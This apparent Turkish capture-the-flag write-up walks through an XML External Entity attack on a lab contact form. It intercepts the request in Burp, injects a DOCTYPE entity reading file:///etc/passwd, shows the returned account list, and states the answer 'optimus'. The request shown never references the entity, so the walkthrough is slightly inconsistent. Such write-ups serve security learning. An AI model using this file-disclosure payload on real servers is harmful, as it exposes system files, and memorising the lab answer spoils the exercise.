

7.0 XML External Entity Injection (XXE)

Nedir : XML zafiyeti, kötü niyetli kullanıcıların, bir uygulamanın XML verilerini manipüle ederek güvenliğini tehlikeye atmasına neden olan güvenlik açığıdır. Bu zafiyet, yanlış yapılandırılmış XML işleyicileri nedeniyle oluşabilir.

Önlem; XML zafiyetlerini önlemek için, kullanıcıdan gelen XML verileri her zaman doğrulanmalı ve güvenli yapılandırmalar kullanılmalı.

Bizden İsteddiği ; /etc/passwd dosyasına eklenen son kullanıcının adı nedir?

Bize verilen sayfada şu form karşılıyor;

İletişim Formu

İhtiyaçlarınız, önerileriniz ve düşünceleriniz bizim için değerlidir. Bu formu kullanarak bizimle iletişime geçin, sizden haber almak için sabırsızlanıyoruz!

Something went wrong, please try again later.

İlk adı

Soy isim

sad

asd

E-posta adresi

testet@normal-user.net

Mesaj

asd

Göndermek

Formu gönderince **Burp** ile dinlemeye alıyorum.

Giden istek bu ;

```
Connection: keep-alive
|
<?xml version="1.0"?>
<!DOCTYPE contact [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<contact>
  <firstName>
    sad
  </firstName>
  <lastName>
    asd
  </lastName>
  <email>
    testet@normal-user.net
  </email>
  <message>
    asd
  </message>
</contact>
```

XXE atağımızı buraya ekleyebiliriz, En üst tarafına.

<?xml version="1.0"?>

<!DOCTYPE contact [

<!ENTITY xxe SYSTEM "file:///etc/passwd">

]>

Payload Açıklaması ;

<?xml version="1.0"?>

XML Başlığı: Bu satır, belgenin XML formatında olduğunu belirtir. 1.0, XML sürüm numarasını gösterir.

<!DOCTYPE contact [

<!ENTITY xxe SYSTEM "file:///etc/passwd">

]>

DOCTYPE Tanımı: Bu satır, XML belgesinin türünü ve içindeki öğelerin yapısını tanımlar.

contact: Bu, belgedeki ana öğenin adıdır.

ENTITY Tanımı:

<!ENTITY xxe SYSTEM "file:///etc/passwd">:

Bu satır, xxe adlı bir dış varlık tanımlar. **SYSTEM** ifadesi, bu varlığın bir dosya sisteminden okunacağını belirtir. **"file:///etc/passwd"** ifadesi, belirtilen dosya yolunun içeriğini okumak için bir kaynak olarak kullanılacaktır. Bu durumda, /etc/passwd dosyası hedeflenmektedir; bu dosya, Unix ve Linux sistemlerinde kullanıcı bilgilerini tutan bir dosyadır.

Ve isteğimizi gönderelim;

```
Response
Pretty Raw Hex Render
11 <?xml version="1.0"?>
12 <contact>
13   <firstName>asd
14   <lastName>asd
15   <email>testet@normal-user.net
16   <message>
17     root:x:0:0:root:/root:/bin/bash
18     daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
19     bin:x:2:2:bin:/bin:/usr/sbin/nologin
20     sys:x:3:3:sys:/dev:/usr/sbin/nologin
21     sync:x:4:65534:sync:/bin:/bin/sync
22     games:x:5:60:games:/usr/games:/usr/sbin/nologin
23     man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
24     lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
25     mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
26     news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
27     uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
28     proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
29     www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
30     backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
31     list:x:38:38:Mail Manager:/var/list:/usr/sbin/nologin
32     irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
33     gnats:x:41:41:Gnats Bug-Reporting System (admin)
34     nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
35     _apt:x:100:65534:/nonexistent:/usr/sbin/nologin
36     systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
```

Evet tüm kullanıcılar

Son kullanıcı ismini girelim.

ekrana geldi ve bizden istenen

```
Dumper : / : / us
optimus : x : 10
< / message >
```

CEVAP: optimus